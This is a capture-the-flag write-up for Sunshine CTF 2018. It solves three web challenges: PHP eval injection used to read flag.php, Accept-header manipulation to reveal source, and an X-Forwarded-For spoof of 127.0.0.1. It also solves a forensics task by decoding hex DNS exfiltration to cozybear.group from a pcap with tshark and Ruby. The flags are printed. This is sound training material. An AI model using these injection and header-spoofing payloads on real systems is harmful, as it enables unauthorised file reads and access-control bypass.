Version
By
Version
Comment
noraj
1.0
Creation
CTF
Name : Sunshine CTF 2018
Website : sunshinectf.org
Type : Online
Format : Jeopardy
CTF Time : link
50 - Evaluation - Web
Evaluate your life.
How are you doing, and are you doing the best you can possibly do?
Look deeper within yourself, beyond the obvious.
Look at the source of it all.
Also, here's a PHP challenge.
http://evaluation.web1.sunshinectf.org
Author: hackucf_levi
< ? php
include "flag.php" ;
error_reporting ( 0 );
show_source ( __FILE__ );
$a = @ $_REQUEST [ 'hello' ];
eval ( "var_dump( $a );" );
? >
All arguments we are giving are evaluated.
So let's try a request like http://evaluation.web1.sunshinectf.org/?hello=get_defined_vars()
.
But the flag
variable equals Nope
.
So let's try another payload: file_get_contents('./flag.php')
:
string ( 61 ) "<?php
$flag =" Nope ";
// sun{c0mm4nD_1Nj3cti0n_i5_E4sY};
?>"
100 - Marceau - Web
Hey my friend tells me that the flag is in this site's source code. Idk how to read that though, lol (🅱️retty lame tbh 😂)
http://marceau.web1.sunshinectf.org
Author: charlton
Hint 2018-04-06 00:20 UTC: There are many different types of MIMEs, but only a handful were truly legendary...
It's pretty easy with the hint. Just use a proxy like Burp and change this HTTP header:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
into:
And you'll get the source:
< ? php
// sun{45k_4nd_y3_5h411_r3c31v3} (nice work!)
// */* won't work here- you'll have to be more assertive.
if ( strpos ( $_SERVER [ 'HTTP_ACCEPT' ], "text/php" ) === false )
echo "<marquee><h3>You specifically want my PHP source. Why did you accept anything else?</h3></marquee>" ;
else
show_source ( __FILE__ );
? >
It's bad challenge design because those valid MIME types won't work:
text/x-php
application/php
application/x-php
application/x-httpd-php
application/x-httpd-php-source
150 - Home Sweet Home - Web
Looks like this site is doing some IP filtering.
That's very FORWARD thinking of them.
Have fun!
http://web1.sunshinectf.org:50005
Author: hackucf_levi
Update 2018-04-06 01:55 UTC: Point value decreased from 200 -> 150.
Just add X-Forwarded-For: 127.0.0.1
HTTP header.
Flag: sun{Th3rEs_n0_pl4cE_l1kE_127.0.0.1}
Note: the standardized version Forwarded: for=127.0.0.1
doesn't work here because the challenge must be hardcoded.
More details about: X-Forwarded-For and Forwarded .
100 - Data Exfil - Forensics
We think a critical document has been stolen out of our network, luckily our next gen IDS managed to capture the traffic during the attack. Can you tell us what they took?
Author: Medic-
We can first begin with an analyse on packettotal .
A bad behavior was detected.
Alert signature: ET TROJAN Linux/Onimiki DNS trojan activity long format (Outbound)
.
This sounds like a DNS exfiltration program.
Let's use tshark
to see what is going on:
# List all DNS queries
tshark -r pcap.pcap -T fields -e dns.qry.name -Y "dns.flags.response eq 0"
In the output we can see some long queries that look like XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX.cozybear.group
, so let's filter again:
# List all DNS queries containing "cozybear.group"
tshark -r pcap.pcap -T fields -e dns.qry.name -Y "dns.flags.response eq 0 and dns.qry.name contains cozybear.group"
504b030414000000000030be774c973a10791e0000001e0000000a000000.cozybear.group
7365637265742e74787473756e7b7730775f495f646e735f7333335f7930.cozybear.group
755f316e5f683372337d504b0102140014000000000030be774c973a1079.cozybear.group
1e0000001e0000000a000000000000000100200000000000000073656372.cozybear.group
65742e747874504b0506000000000100010038000000460000000000.cozybear.group
504b030414000000000030be774c973a10791e0000001e0000000a000000.cozybear.group
7365637265742e74787473756e7b7730775f495f646e735f7333335f7930.cozybear.group
755f316e5f683372337d504b0102140014000000000030be774c973a1079.cozybear.group
1e0000001e0000000a000000000000000100200000000000000073656372.cozybear.group
65742e747874504b0506000000000100010038000000460000000000.cozybear.group
504b030414000000000030be774c973a10791e0000001e0000000a000000.cozybear.group
7365637265742e74787473756e7b7730775f495f646e735f7333335f7930.cozybear.group
755f316e5f683372337d504b0102140014000000000030be774c973a1079.cozybear.group
1e0000001e0000000a000000000000000100200000000000000073656372.cozybear.group
65742e747874504b0506000000000100010038000000460000000000.cozybear.group
504b030414000000000030be774c973a10791e0000001e0000000a000000.cozybear.group
7365637265742e74787473756e7b7730775f495f646e735f7333335f7930.cozybear.group
755f316e5f683372337d504b0102140014000000000030be774c973a1079.cozybear.group
1e0000001e0000000a000000000000000100200000000000000073656372.cozybear.group
65742e747874504b0506000000000100010038000000460000000000.cozybear.group
504b030414000000000030be774c973a10791e0000001e0000000a000000.cozybear.group
7365637265742e74787473756e7b7730775f495f646e735f7333335f7930.cozybear.group
755f316e5f683372337d504b0102140014000000000030be774c973a1079.cozybear.group
1e0000001e0000000a000000000000000100200000000000000073656372.cozybear.group
65742e747874504b0506000000000100010038000000460000000000.cozybear.group
504b030414000000000030be774c973a10791e0000001e0000000a000000.cozybear.group
7365637265742e74787473756e7b7730775f495f646e735f7333335f7930.cozybear.group
755f316e5f683372337d504b0102140014000000000030be774c973a1079.cozybear.group
1e0000001e0000000a000000000000000100200000000000000073656372.cozybear.group
65742e747874504b0506000000000100010038000000460000000000.cozybear.group
504b030414000000000030be774c973a10791e0000001e0000000a000000.cozybear.group
7365637265742e74787473756e7b7730775f495f646e735f7333335f7930.cozybear.group
755f316e5f683372337d504b0102140014000000000030be774c973a1079.cozybear.group
1e0000001e0000000a000000000000000100200000000000000073656372.cozybear.group
65742e747874504b0506000000000100010038000000460000000000.cozybear.group
So we have hexadecimal encoded payloads. I just wrote a very short ruby script to decode them:
#!/usr/bin/env ruby
File . readlines ( 'query.txt' ).each do | line |
data = line.match( /( [0-9a-f] {56,60} ) \. cozybear \. group/ ).captures[ 0 ]
puts [data].pack( 'H*' )
end
Let's save the output and check what is inside:
$ ruby unpack.rb > files
$ binwalk files
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
130 0x82 End of Zip archive
283 0x11B End of Zip archive
436 0x1B4 End of Zip archive
589 0x24D End of Zip archive
742 0x2E6 End of Zip archive
895 0x37F End of Zip archive
1048 0x418 End of Zip archive
$ strings files
secret.txtsun{w0w_I_dns_s33_y0
u_1n_h3r3}PK
secr
et.txtPK
secret.txtsun{w0w_I_dns_s33_y0
u_1n_h3r3}PK
secr
et.txtPK
secret.txtsun{w0w_I_dns_s33_y0
u_1n_h3r3}PK
secr
et.txtPK
secret.txtsun{w0w_I_dns_s33_y0
u_1n_h3r3}PK
secr
et.txtPK
secret.txtsun{w0w_I_dns_s33_y0
u_1n_h3r3}PK
secr
et.txtPK
secret.txtsun{w0w_I_dns_s33_y0
u_1n_h3r3}PK
secr
et.txtPK
secret.txtsun{w0w_I_dns_s33_y0
u_1n_h3r3}PK
secr
et.txtPK
The same zip was exfiltrated several times.
Flag: sun{w0w_I_dns_s33_y0u_1n_h3r3}
.